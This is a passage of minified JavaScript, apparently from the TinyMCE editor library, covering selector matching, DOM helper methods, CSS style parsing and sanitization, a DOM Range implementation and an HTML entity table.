i,o,a,s,l,c="function"==typeof e&&e,d=!r&&N(e=c.selector||e);if(n=n||[],1===d.length){if(o=d[0]=d[0].slice(0),o.length>2&&"ID"===(a=o[0]).type&&x.getById&&9===t.nodeType&&H&&w.relative[o[1].type]){if(t=(w.find.ID(a.matches[0].replace(Ct,xt),t)||[])[0],!t)return n;c&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=pt.needsContext.test(e)?0:o.length;i--&&(a=o[i],!w.relative[s=a.type]);)if((l=w.find[s])&&(r=l(a.matches[0].replace(Ct,xt),yt.test(o[0].type)&&u(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&f(o),!e)return Z.apply(n,r),n;break}}return(c||k(e,d))(r,t,!H,n,yt.test(e)&&u(t.parentNode)||t),n},x.sortStable=F.split("").sort(j).join("")===F,x.detectDuplicates=!!A,B(),x.sortDetached=i(function(e){return 1&e.compareDocumentPosition(D.createElement("div"))}),i(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){return n?void 0:e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),x.attributes&&i(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){return n||"input"!==e.nodeName.toLowerCase()?void 0:e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(nt,function(e,t,n){var r;return n?void 0:e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),e}),r(u,[],function(){var e=navigator,t=e.userAgent,n,r,i,o,a,s,l;n=window.opera&&window.opera.buildNumber,r=/WebKit/.test(t),i=!r&&!n&&/MSIE/gi.test(t)&&/Explorer/gi.test(e.appName),i=i&&/MSIE (\w+)\./.exec(t)[1],o=-1==t.indexOf("Trident/")||-1==t.indexOf("rv:")&&-1==e.appName.indexOf("Netscape")?!1:11,i=i||o,a=!r&&!o&&/Gecko/.test(t),s=-1!=t.indexOf("Mac"),l=/(iPad|iPhone)/.test(t);var c=!l||t.match(/AppleWebKit\/(\d*)/)[1]>=534;return{opera:n,webkit:r,ie:i,gecko:a,mac:s,iOS:l,contentEditable:c,transparentSrc:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",caretAfter:8!=i,range:window.getSelection&&"Range"in window,documentMode:i?document.documentMode||7:10}}),r(d,[u],function(e){function n(e){return null===e||e===t?"":(""+e).replace(v,"")}function r(e,n){return n?"array"==n&&y(e)?!0:typeof e==n:e!==t}function i(e){var t=e,n,r;if(!y(e))for(t=[],n=0,r=e.length;r>n;n++)t[n]=e[n];return t}function o(e,t,n){var r;for(e=e||[],t=t||",","string"==typeof e&&(e=e.split(t)),n=n||{},r=e.length;r--;)n[e[r]]={};return n}function a(e,n,r){var i,o;if(!e)return 0;if(r=r||e,e.length!==t){for(i=0,o=e.length;o>i;i++)if(n.call(r,e[i],i,e)===!1)return 0}else for(i in e)if(e.hasOwnProperty(i)&&n.call(r,e[i],i,e)===!1)return 0;return 1}function s(e,t){var n=[];return a(e,function(e){n.push(t(e))}),n}function l(e,t){var n=[];return a(e,function(e){(!t||t(e))&&n.push(e)}),n}function c(e,t,n){var r=this,i,o,a,s,l,c=0;if(e=/^((static) )?([\w.]+)(:([\w.]+))?/.exec(e),a=e[3].match(/(^|\.)(\w+)$/i)[2],o=r.createNS(e[3].replace(/\.\w+$/,""),n),!o[a]){if("static"==e[2])return o[a]=t,void(this.onCreate&&this.onCreate(e[2],e[3],o[a]));t[a]||(t[a]=function(){},c=1),o[a]=t[a],r.extend(o[a].prototype,t),e[5]&&(i=r.resolve(e[5]).prototype,s=e[5].match(/\.(\w+)$/i)[1],l=o[a],o[a]=c?function(){return i[s].apply(this,arguments)}:function(){return this.parent=i[s],l.apply(this,arguments)},o[a].prototype[a]=o[a],r.each(i,function(e,t){o[a].prototype[t]=i[t]}),r.each(t,function(e,t){i[t]?o[a].prototype[t]=function(){return this.parent=i[t],e.apply(this,arguments)}:t!=a&&(o[a].prototype[t]=e)})),r.each(t["static"],function(e,t){o[a][t]=e})}}function u(e,t){var n,r;if(e)for(n=0,r=e.length;r>n;n++)if(e[n]===t)return n;return-1}function d(e,n){var r,i,o,a=arguments,s;for(r=1,i=a.length;i>r;r++){n=a[r];for(o in n)n.hasOwnProperty(o)&&(s=n[o],s!==t&&(e[o]=s))}return e}function f(e,t,n,r){r=r||this,e&&(n&&(e=e[n]),a(e,function(e,i){return t.call(r,e,i,n)===!1?!1:void f(e,t,n,r)}))}function p(e,t){var n,r;for(t=t||window,e=e.split("."),n=0;n<e.length;n++)r=e[n],t[r]||(t[r]={}),t=t[r];return t}function h(e,t){var n,r;for(t=t||window,e=e.split("."),n=0,r=e.length;r>n&&(t=t[e[n]],t);n++);return t}function m(e,t){return!e||r(e,"array")?e:s(e.split(t||","),n)}function g(t){var n=e.cacheSuffix;return n&&(t+=(-1===t.indexOf("?")?"?":"&")+n),t}var v=/^\s*|\s*$/g,y=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)};return{trim:n,isArray:y,is:r,toArray:i,makeMap:o,each:a,map:s,grep:l,inArray:u,extend:d,create:c,walk:f,createNS:p,resolve:h,explode:m,_addCacheSuffix:g}}),r(f,[l,c,d,u],function(e,n,r,i){function o(e){return"undefined"!=typeof e}function a(e){return"string"==typeof e}function s(e){return e&&e==e.window}function l(e,t){var n,r,i;for(t=t||w,i=t.createElement("div"),n=t.createDocumentFragment(),i.innerHTML=e;r=i.firstChild;)n.appendChild(r);return n}function c(e,t,n,r){var i;if(a(t))t=l(t,v(e[0]));else if(t.length&&!t.nodeType){if(t=f.makeArray(t),r)for(i=t.length-1;i>=0;i--)c(e,t[i],n,r);else for(i=0;i<t.length;i++)c(e,t[i],n,r);return e}if(t.nodeType)for(i=e.length;i--;)n.call(e[i],t);return e}function u(e,t){return e&&t&&-1!==(" "+e.className+" ").indexOf(" "+t+" ")}function d(e,t,n){var r,i;return t=f(t)[0],e.each(function(){var e=this;n&&r==e.parentNode?i.appendChild(e):(r=e.parentNode,i=t.cloneNode(!1),e.parentNode.insertBefore(i,e),i.appendChild(e))}),e}function f(e,t){return new f.fn.init(e,t)}function p(e,t){var n;if(t.indexOf)return t.indexOf(e);for(n=t.length;n--;)if(t[n]===e)return n;return-1}function h(e){return null===e||e===S?"":(""+e).replace(H,"")}function m(e,t){var n,r,i,o,a;if(e)if(n=e.length,n===o){for(r in e)if(e.hasOwnProperty(r)&&(a=e[r],t.call(a,r,a)===!1))break}else for(i=0;n>i&&(a=e[i],t.call(a,i,a)!==!1);i++);return e}function g(e,t){var n=[];return m(e,function(e,r){t(r,e)&&n.push(r)}),n}function v(e){return e?9==e.nodeType?e:e.ownerDocument:w}function y(e,n,r){var i=[],o=e[n];for("string"!=typeof r&&r instanceof f&&(r=r[0]);o&&9!==o.nodeType;){if(r!==t){if(o===r)break;if("string"==typeof r&&f(o).is(r))break}1===o.nodeType&&i.push(o),o=o[n]}return i}function b(e,n,r,i){var o=[];for(i instanceof f&&(i=i[0]);e;e=e[n])if(!r||e.nodeType===r){if(i!==t){if(e===i)break;if("string"==typeof i&&f(e).is(i))break}o.push(e)}return o}function C(e,t,n){for(e=e[t];e;e=e[t])if(e.nodeType==n)return e;return null}function x(e,t,n){m(n,function(n,r){e[n]=e[n]||{},e[n][t]=r})}var w=document,_=Array.prototype.push,E=Array.prototype.slice,N=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,k=e.Event,S,T=r.makeMap("fillOpacity fontWeight lineHeight opacity orphans widows zIndex zoom"," "),R=r.makeMap("checked compact declare defer disabled ismap multiple nohref noshade nowrap readonly selected"," "),A={"for":"htmlFor","class":"className",readonly:"readOnly"},B={"float":"cssFloat"},D={},L={},H=/^\s*|\s*$/g;return f.fn=f.prototype={constructor:f,selector:"",context:null,length:0,init:function(e,t){var n=this,r,i;if(!e)return n;if(e.nodeType)return n.context=n[0]=e,n.length=1,n;if(t&&t.nodeType)n.context=t;else{if(t)return f(e).attr(t);n.context=t=document}if(a(e)){if(n.selector=e,r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:N.exec(e),!r)return f(t).find(e);if(r[1])for(i=l(e,v(t)).firstChild;i;)_.call(n,i),i=i.nextSibling;else{if(i=v(t).getElementById(r[2]),!i)return n;if(i.id!==r[2])return n.find(e);n.length=1,n[0]=i}}else this.add(e,!1);return n},toArray:function(){return r.toArray(this)},add:function(e,t){var n=this,r,i;if(a(e))return n.add(f(e));if(t!==!1)for(r=f.unique(n.toArray().concat(f.makeArray(e))),n.length=r.length,i=0;i<r.length;i++)n[i]=r[i];
+else _.apply(n,f.makeArray(e));return n},attr:function(e,t){var n=this,r;if("object"==typeof e)m(e,function(e,t){n.attr(e,t)});else{if(!o(t)){if(n[0]&&1===n[0].nodeType){if(r=D[e],r&&r.get)return r.get(n[0],e);if(R[e])return n.prop(e)?e:S;t=n[0].getAttribute(e,2),null===t&&(t=S)}return t}this.each(function(){var n;if(1===this.nodeType){if(n=D[e],n&&n.set)return void n.set(this,t);null===t?this.removeAttribute(e,2):this.setAttribute(e,t,2)}})}return n},removeAttr:function(e){return this.attr(e,null)},prop:function(e,t){var n=this;if(e=A[e]||e,"object"==typeof e)m(e,function(e,t){n.prop(e,t)});else{if(!o(t))return n[0]&&n[0].nodeType&&e in n[0]?n[0][e]:t;this.each(function(){1==this.nodeType&&(this[e]=t)})}return n},css:function(e,t){function n(e){return e.replace(/-(\D)/g,function(e,t){return t.toUpperCase()})}function r(e){return e.replace(/[A-Z]/g,function(e){return"-"+e})}var i=this,a,s;if("object"==typeof e)m(e,function(e,t){i.css(e,t)});else if(o(t))e=n(e),"number"!=typeof t||T[e]||(t+="px"),i.each(function(){var n=this.style;if(s=L[e],s&&s.set)return void s.set(this,t);try{this.style[B[e]||e]=t}catch(i){}(null===t||""===t)&&(n.removeProperty?n.removeProperty(r(e)):n.removeAttribute(e))});else{if(a=i[0],s=L[e],s&&s.get)return s.get(a);if(a.ownerDocument.defaultView)try{return a.ownerDocument.defaultView.getComputedStyle(a,null).getPropertyValue(r(e))}catch(l){return S}else if(a.currentStyle)return a.currentStyle[n(e)]}return i},remove:function(){for(var e=this,t,n=this.length;n--;)t=e[n],k.clean(t),t.parentNode&&t.parentNode.removeChild(t);return this},empty:function(){for(var e=this,t,n=this.length;n--;)for(t=e[n];t.firstChild;)t.removeChild(t.firstChild);return this},html:function(e){var t=this,n;if(o(e)){n=t.length;try{for(;n--;)t[n].innerHTML=e}catch(r){f(t[n]).empty().append(e)}return t}return t[0]?t[0].innerHTML:""},text:function(e){var t=this,n;if(o(e)){for(n=t.length;n--;)"innerText"in t[n]?t[n].innerText=e:t[0].textContent=e;return t}return t[0]?t[0].innerText||t[0].textContent:""},append:function(){return c(this,arguments,function(e){1===this.nodeType&&this.appendChild(e)})},prepend:function(){return c(this,arguments,function(e){1===this.nodeType&&this.insertBefore(e,this.firstChild)},!0)},before:function(){var e=this;return e[0]&&e[0].parentNode?c(e,arguments,function(e){this.parentNode.insertBefore(e,this)}):e},after:function(){var e=this;return e[0]&&e[0].parentNode?c(e,arguments,function(e){this.parentNode.insertBefore(e,this.nextSibling)},!0):e},appendTo:function(e){return f(e).append(this),this},prependTo:function(e){return f(e).prepend(this),this},replaceWith:function(e){return this.before(e).remove()},wrap:function(e){return d(this,e)},wrapAll:function(e){return d(this,e,!0)},wrapInner:function(e){return this.each(function(){f(this).contents().wrapAll(e)}),this},unwrap:function(){return this.parent().each(function(){f(this).replaceWith(this.childNodes)})},clone:function(){var e=[];return this.each(function(){e.push(this.cloneNode(!0))}),f(e)},addClass:function(e){return this.toggleClass(e,!0)},removeClass:function(e){return this.toggleClass(e,!1)},toggleClass:function(e,t){var n=this;return"string"!=typeof e?n:(-1!==e.indexOf(" ")?m(e.split(" "),function(){n.toggleClass(this,t)}):n.each(function(n,r){var i,o;o=u(r,e),o!==t&&(i=r.className,o?r.className=h((" "+i+" ").replace(" "+e+" "," ")):r.className+=i?" "+e:e)}),n)},hasClass:function(e){return u(this[0],e)},each:function(e){return m(this,e)},on:function(e,t){return this.each(function(){k.bind(this,e,t)})},off:function(e,t){return this.each(function(){k.unbind(this,e,t)})},trigger:function(e){return this.each(function(){"object"==typeof e?k.fire(this,e.type,e):k.fire(this,e)})},show:function(){return this.css("display","")},hide:function(){return this.css("display","none")},slice:function(){return new f(E.apply(this,arguments))},eq:function(e){return-1===e?this.slice(e):this.slice(e,+e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},find:function(e){var t,n,r=[];for(t=0,n=this.length;n>t;t++)f.find(e,this[t],r);return f(r)},filter:function(e){return f("function"==typeof e?g(this.toArray(),function(t,n){return e(n,t)}):f.filter(e,this.toArray()))},closest:function(e){var t=[];return e instanceof f&&(e=e[0]),this.each(function(n,r){for(;r;){if("string"==typeof e&&f(r).is(e)){t.push(r);break}if(r==e){t.push(r);break}r=r.parentNode}}),f(t)},offset:function(e){var t,n,r,i=0,o=0,a;return e?this.css(e):(t=this[0],t&&(n=t.ownerDocument,r=n.documentElement,t.getBoundingClientRect&&(a=t.getBoundingClientRect(),i=a.left+(r.scrollLeft||n.body.scrollLeft)-r.clientLeft,o=a.top+(r.scrollTop||n.body.scrollTop)-r.clientTop)),{left:i,top:o})},push:_,sort:[].sort,splice:[].splice},r.extend(f,{extend:r.extend,makeArray:function(e){return s(e)||e.nodeType?[e]:r.toArray(e)},inArray:p,isArray:r.isArray,each:m,trim:h,grep:g,find:n,expr:n.selectors,unique:n.uniqueSort,text:n.getText,contains:n.contains,filter:function(e,t,n){var r=t.length;for(n&&(e=":not("+e+")");r--;)1!=t[r].nodeType&&t.splice(r,1);return t=1===t.length?f.find.matchesSelector(t[0],e)?[t[0]]:[]:f.find.matches(e,t)}}),m({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return y(e,"parentNode")},next:function(e){return C(e,"nextSibling",1)},prev:function(e){return C(e,"previousSibling",1)},children:function(e){return b(e.firstChild,"nextSibling",1)},contents:function(e){return r.toArray(("iframe"===e.nodeName?e.contentDocument||e.contentWindow.document:e).childNodes)}},function(e,t){f.fn[e]=function(n){var r=this,i=[];return r.each(function(){var e=t.call(i,this,n,i);e&&(f.isArray(e)?i.push.apply(i,e):i.push(e))}),this.length>1&&(i=f.unique(i),0===e.indexOf("parents")&&(i=i.reverse())),i=f(i),n?i.filter(n):i}}),m({parentsUntil:function(e,t){return y(e,"parentNode",t)},nextUntil:function(e,t){return b(e,"nextSibling",1,t).slice(1)},prevUntil:function(e,t){return b(e,"previousSibling",1,t).slice(1)}},function(e,t){f.fn[e]=function(n,r){var i=this,o=[];return i.each(function(){var e=t.call(o,this,n,o);e&&(f.isArray(e)?o.push.apply(o,e):o.push(e))}),this.length>1&&(o=f.unique(o),(0===e.indexOf("parents")||"prevUntil"===e)&&(o=o.reverse())),o=f(o),r?o.filter(r):o}}),f.fn.is=function(e){return!!e&&this.filter(e).length>0},f.fn.init.prototype=f.fn,f.overrideDefaults=function(e){function t(r,i){return n=n||e(),0===arguments.length&&(r=n.element),i||(i=n.context),new t.fn.init(r,i)}var n;return f.extend(t,this),t},i.ie&&i.ie<8&&(x(D,"get",{maxlength:function(e){var t=e.maxLength;return 2147483647===t?S:t},size:function(e){var t=e.size;return 20===t?S:t},"class":function(e){return e.className},style:function(e){var t=e.style.cssText;return 0===t.length?S:t}}),x(D,"set",{"class":function(e,t){e.className=t},style:function(e,t){e.style.cssText=t}})),i.ie&&i.ie<9&&(B["float"]="styleFloat",x(L,"set",{opacity:function(e,t){var n=e.style;null===t||""===t?n.removeAttribute("filter"):(n.zoom=1,n.filter="alpha(opacity="+100*t+")")}})),f.attrHooks=D,f.cssHooks=L,f}),r(p,[],function(){return function(e,t){function n(e,t,n,r){function i(e){return e=parseInt(e,10).toString(16),e.length>1?e:"0"+e}return"#"+i(t)+i(n)+i(r)}var r=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,i=/(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,o=/\s*([^:]+):\s*([^;]+);?/g,a=/\s+$/,s,l,c={},u,d,f,p="\ufeff";for(e=e||{},t&&(d=t.getValidStyles(),f=t.getInvalidStyles()),u=("\\\" \\' \\; \\: ; : "+p).split(" "),l=0;l<u.length;l++)c[u[l]]=p+l,c[p+l]=u[l];return{toHex:function(e){return e.replace(r,n)},parse:function(t){function s(e,t,n){var r,i,o,a;if(r=m[e+"-top"+t],r&&(i=m[e+"-right"+t],i&&(o=m[e+"-bottom"+t],o&&(a=m[e+"-left"+t])))){var s=[r,i,o,a];for(l=s.length-1;l--&&s[l]===s[l+1];);l>-1&&n||(m[e+t]=-1==l?s[0]:s.join(" "),delete m[e+"-top"+t],delete m[e+"-right"+t],delete m[e+"-bottom"+t],delete m[e+"-left"+t])}}function u(e){var t=m[e],n;if(t){for(t=t.split(" "),n=t.length;n--;)if(t[n]!==t[0])return!1;return m[e]=t[0],!0}}function d(e,t,n,r){u(t)&&u(n)&&u(r)&&(m[e]=m[t]+" "+m[n]+" "+m[r],delete m[t],delete m[n],delete m[r])}function f(e){return b=!0,c[e]}function p(e,t){return b&&(e=e.replace(/\uFEFF[0-9]/g,function(e){return c[e]})),t||(e=e.replace(/\\([\'\";:])/g,"$1")),e}function h(t,n,r,i,o,a){if(o=o||a)return o=p(o),"'"+o.replace(/\'/g,"\\'")+"'";if(n=p(n||r||i),!e.allow_script_urls){var s=n.replace(/[\s\r\n]+/,"");if(/(java|vb)script:/i.test(s))return"";if(!e.allow_svg_data_urls&&/^data:image\/svg/i.test(s))return""}return C&&(n=C.call(x,n,"style")),"url('"+n.replace(/\'/g,"\\'")+"')"}var m={},g,v,y,b,C=e.url_converter,x=e.url_converter_scope||this;if(t){for(t=t.replace(/[\u0000-\u001F]/g,""),t=t.replace(/\\[\"\';:\uFEFF]/g,f).replace(/\"[^\"]+\"|\'[^\']+\'/g,function(e){return e.replace(/[;:]/g,f)});g=o.exec(t);){if(v=g[1].replace(a,"").toLowerCase(),y=g[2].replace(a,""),y=y.replace(/\\[0-9a-f]+/g,function(e){return String.fromCharCode(parseInt(e.substr(1),16))}),v&&y.length>0){if(!e.allow_script_urls&&("behavior"==v||/expression\s*\(|\/\*|\*\//.test(y)))continue;"font-weight"===v&&"700"===y?y="bold":("color"===v||"background-color"===v)&&(y=y.toLowerCase()),y=y.replace(r,n),y=y.replace(i,h),m[v]=b?p(y,!0):y}o.lastIndex=g.index+g[0].length}s("border","",!0),s("border","-width"),s("border","-color"),s("border","-style"),s("padding",""),s("margin",""),d("border","border-width","border-style","border-color"),"medium none"===m.border&&delete m.border,"none"===m["border-image"]&&delete m["border-image"]}return m},serialize:function(e,t){function n(t){var n,r,o,a;if(n=d[t])for(r=0,o=n.length;o>r;r++)t=n[r],a=e[t],a!==s&&a.length>0&&(i+=(i.length>0?" ":"")+t+": "+a+";")}function r(e,t){var n;return n=f["*"],n&&n[e]?!1:(n=f[t],n&&n[e]?!1:!0)}var i="",o,a;if(t&&d)n("*"),n(t);else for(o in e)a=e[o],a!==s&&a.length>0&&(!f||r(o,t))&&(i+=(i.length>0?" ":"")+o+": "+a+";");return i}}}}),r(h,[],function(){return function(e,t){function n(e,n,r,i){var o,a;if(e){if(!i&&e[n])return e[n];if(e!=t){if(o=e[r])return o;for(a=e.parentNode;a&&a!=t;a=a.parentNode)if(o=a[r])return o}}}var r=e;this.current=function(){return r},this.next=function(e){return r=n(r,"firstChild","nextSibling",e)},this.prev=function(e){return r=n(r,"lastChild","previousSibling",e)}}}),r(m,[d],function(e){function t(n){function r(){return M.createDocumentFragment()}function i(e,t){_(F,e,t)}function o(e,t){_(z,e,t)}function a(e){i(e.parentNode,j(e))}function s(e){i(e.parentNode,j(e)+1)}function l(e){o(e.parentNode,j(e))}function c(e){o(e.parentNode,j(e)+1)}function u(e){e?(H[U]=H[V],H[$]=H[W]):(H[V]=H[U],H[W]=H[$]),H.collapsed=F}function d(e){a(e),c(e)}function f(e){i(e,0),o(e,1===e.nodeType?e.childNodes.length:e.nodeValue.length)}function p(e,t){var n=H[V],r=H[W],i=H[U],o=H[$],a=t.startContainer,s=t.startOffset,l=t.endContainer,c=t.endOffset;return 0===e?w(n,r,a,s):1===e?w(i,o,a,s):2===e?w(i,o,l,c):3===e?w(n,r,l,c):void 0}function h(){E(I)}function m(){return E(P)}function g(){return E(O)}function v(e){var t=this[V],r=this[W],i,o;3!==t.nodeType&&4!==t.nodeType||!t.nodeValue?(t.childNodes.length>0&&(o=t.childNodes[r]),o?t.insertBefore(e,o):3==t.nodeType?n.insertAfter(e,t):t.appendChild(e)):r?r>=t.nodeValue.length?n.insertAfter(e,t):(i=t.splitText(r),t.parentNode.insertBefore(e,i)):t.parentNode.insertBefore(e,t)}function y(e){var t=H.extractContents();H.insertNode(e),e.appendChild(t),H.selectNode(e)}function b(){return q(new t(n),{startContainer:H[V],startOffset:H[W],endContainer:H[U],endOffset:H[$],collapsed:H.collapsed,commonAncestorContainer:H.commonAncestorContainer})}function C(e,t){var n;if(3==e.nodeType)return e;if(0>t)return e;for(n=e.firstChild;n&&t>0;)--t,n=n.nextSibling;return n?n:e}function x(){return H[V]==H[U]&&H[W]==H[$]}function w(e,t,r,i){var o,a,s,l,c,u;if(e==r)return t==i?0:i>t?-1:1;for(o=r;o&&o.parentNode!=e;)o=o.parentNode;if(o){for(a=0,s=e.firstChild;s!=o&&t>a;)a++,s=s.nextSibling;return a>=t?-1:1}for(o=e;o&&o.parentNode!=r;)o=o.parentNode;if(o){for(a=0,s=r.firstChild;s!=o&&i>a;)a++,s=s.nextSibling;return i>a?-1:1}for(l=n.findCommonAncestor(e,r),c=e;c&&c.parentNode!=l;)c=c.parentNode;for(c||(c=l),u=r;u&&u.parentNode!=l;)u=u.parentNode;if(u||(u=l),c==u)return 0;for(s=l.firstChild;s;){if(s==c)return-1;if(s==u)return 1;s=s.nextSibling}}function _(e,t,r){var i,o;for(e?(H[V]=t,H[W]=r):(H[U]=t,H[$]=r),i=H[U];i.parentNode;)i=i.parentNode;for(o=H[V];o.parentNode;)o=o.parentNode;o==i?w(H[V],H[W],H[U],H[$])>0&&H.collapse(e):H.collapse(e),H.collapsed=x(),H.commonAncestorContainer=n.findCommonAncestor(H[V],H[U])}function E(e){var t,n=0,r=0,i,o,a,s,l,c;if(H[V]==H[U])return N(e);for(t=H[U],i=t.parentNode;i;t=i,i=i.parentNode){if(i==H[V])return k(t,e);++n}for(t=H[V],i=t.parentNode;i;t=i,i=i.parentNode){if(i==H[U])return S(t,e);++r}for(o=r-n,a=H[V];o>0;)a=a.parentNode,o--;for(s=H[U];0>o;)s=s.parentNode,o++;for(l=a.parentNode,c=s.parentNode;l!=c;l=l.parentNode,c=c.parentNode)a=l,s=c;return T(a,s,e)}function N(e){var t,n,i,o,a,s,l,c,u;if(e!=I&&(t=r()),H[W]==H[$])return t;if(3==H[V].nodeType){if(n=H[V].nodeValue,i=n.substring(H[W],H[$]),e!=O&&(o=H[V],c=H[W],u=H[$]-H[W],0===c&&u>=o.nodeValue.length-1?o.parentNode.removeChild(o):o.deleteData(c,u),H.collapse(F)),e==I)return;return i.length>0&&t.appendChild(M.createTextNode(i)),t}for(o=C(H[V],H[W]),a=H[$]-H[W];o&&a>0;)s=o.nextSibling,l=D(o,e),t&&t.appendChild(l),--a,o=s;return e!=O&&H.collapse(F),t}function k(e,t){var n,i,o,a,s,l;if(t!=I&&(n=r()),i=R(e,t),n&&n.appendChild(i),o=j(e),a=o-H[W],0>=a)return t!=O&&(H.setEndBefore(e),H.collapse(z)),n;for(i=e.previousSibling;a>0;)s=i.previousSibling,l=D(i,t),n&&n.insertBefore(l,n.firstChild),--a,i=s;return t!=O&&(H.setEndBefore(e),H.collapse(z)),n}function S(e,t){var n,i,o,a,s,l;for(t!=I&&(n=r()),o=A(e,t),n&&n.appendChild(o),i=j(e),++i,a=H[$]-i,o=e.nextSibling;o&&a>0;)s=o.nextSibling,l=D(o,t),n&&n.appendChild(l),--a,o=s;return t!=O&&(H.setStartAfter(e),H.collapse(F)),n}function T(e,t,n){var i,o,a,s,l,c,u;for(n!=I&&(o=r()),i=A(e,n),o&&o.appendChild(i),a=j(e),s=j(t),++a,l=s-a,c=e.nextSibling;l>0;)u=c.nextSibling,i=D(c,n),o&&o.appendChild(i),c=u,--l;return i=R(t,n),o&&o.appendChild(i),n!=O&&(H.setStartAfter(e),H.collapse(F)),o}function R(e,t){var n=C(H[U],H[$]-1),r,i,o,a,s,l=n!=H[U];if(n==e)return B(n,l,z,t);for(r=n.parentNode,i=B(r,z,z,t);r;){for(;n;)o=n.previousSibling,a=B(n,l,z,t),t!=I&&i.insertBefore(a,i.firstChild),l=F,n=o;if(r==e)return i;n=r.previousSibling,r=r.parentNode,s=B(r,z,z,t),t!=I&&s.appendChild(i),i=s}}function A(e,t){var n=C(H[V],H[W]),r=n!=H[V],i,o,a,s,l;if(n==e)return B(n,r,F,t);for(i=n.parentNode,o=B(i,z,F,t);i;){for(;n;)a=n.nextSibling,s=B(n,r,F,t),t!=I&&o.appendChild(s),r=F,n=a;if(i==e)return o;n=i.nextSibling,i=i.parentNode,l=B(i,z,F,t),t!=I&&l.appendChild(o),o=l}}function B(e,t,r,i){var o,a,s,l,c;if(t)return D(e,i);if(3==e.nodeType){if(o=e.nodeValue,r?(l=H[W],a=o.substring(l),s=o.substring(0,l)):(l=H[$],a=o.substring(0,l),s=o.substring(l)),i!=O&&(e.nodeValue=s),i==I)return;return c=n.clone(e,z),c.nodeValue=a,c}if(i!=I)return n.clone(e,z)}function D(e,t){return t!=I?t==O?n.clone(e,F):e:void e.parentNode.removeChild(e)}function L(){return n.create("body",null,g()).outerText}var H=this,M=n.doc,P=0,O=1,I=2,F=!0,z=!1,W="startOffset",V="startContainer",U="endContainer",$="endOffset",q=e.extend,j=n.nodeIndex;return q(H,{startContainer:M,startOffset:0,endContainer:M,endOffset:0,collapsed:F,commonAncestorContainer:M,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3,setStart:i,setEnd:o,setStartBefore:a,setStartAfter:s,setEndBefore:l,setEndAfter:c,collapse:u,selectNode:d,selectNodeContents:f,compareBoundaryPoints:p,deleteContents:h,extractContents:m,cloneContents:g,insertNode:v,surroundContents:y,cloneRange:b,toStringIE:L}),H}return t.prototype.toString=function(){return this.toStringIE()},t}),r(g,[d],function(e){function t(e){var t;return t=document.createElement("div"),t.innerHTML=e,t.textContent||t.innerText||e}function n(e,t){var n,r,i,a={};if(e){for(e=e.split(","),t=t||10,n=0;n<e.length;n+=2)r=String.fromCharCode(parseInt(e[n],t)),o[r]||(i="&"+e[n+1]+";",a[r]=i,a[i]=r);return a}}var r=e.makeMap,i,o,a,s=/[&<>\"\u0060\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,l=/[<>&\u007E-\uD7FF\uE000-\uFFEF]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,c=/[<>&\"\']/g,u=/&(#x|#)?([\w]+);/g,d={128:"\u20ac",130:"\u201a",131:"\u0192",132:"\u201e",133:"\u2026",134:"\u2020",135:"\u2021",136:"\u02c6",137:"\u2030",138:"\u0160",139:"\u2039",140:"\u0152",142:"\u017d",145:"\u2018",146:"\u2019",147:"\u201c",148:"\u201d",149:"\u2022",150:"\u2013",151:"\u2014",152:"\u02dc",153:"\u2122",154:"\u0161",155:"\u203a",156:"\u0153",158:"\u017e",159:"\u0178"};o={'"':"&quot;","'":"&#39;","<":"&lt;",">":"&gt;","&":"&amp;","`":"&#96;"},a={"&lt;":"<","&gt;":">","&amp;":"&","&quot;":'"',"&apos;":"'"},i=n("50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t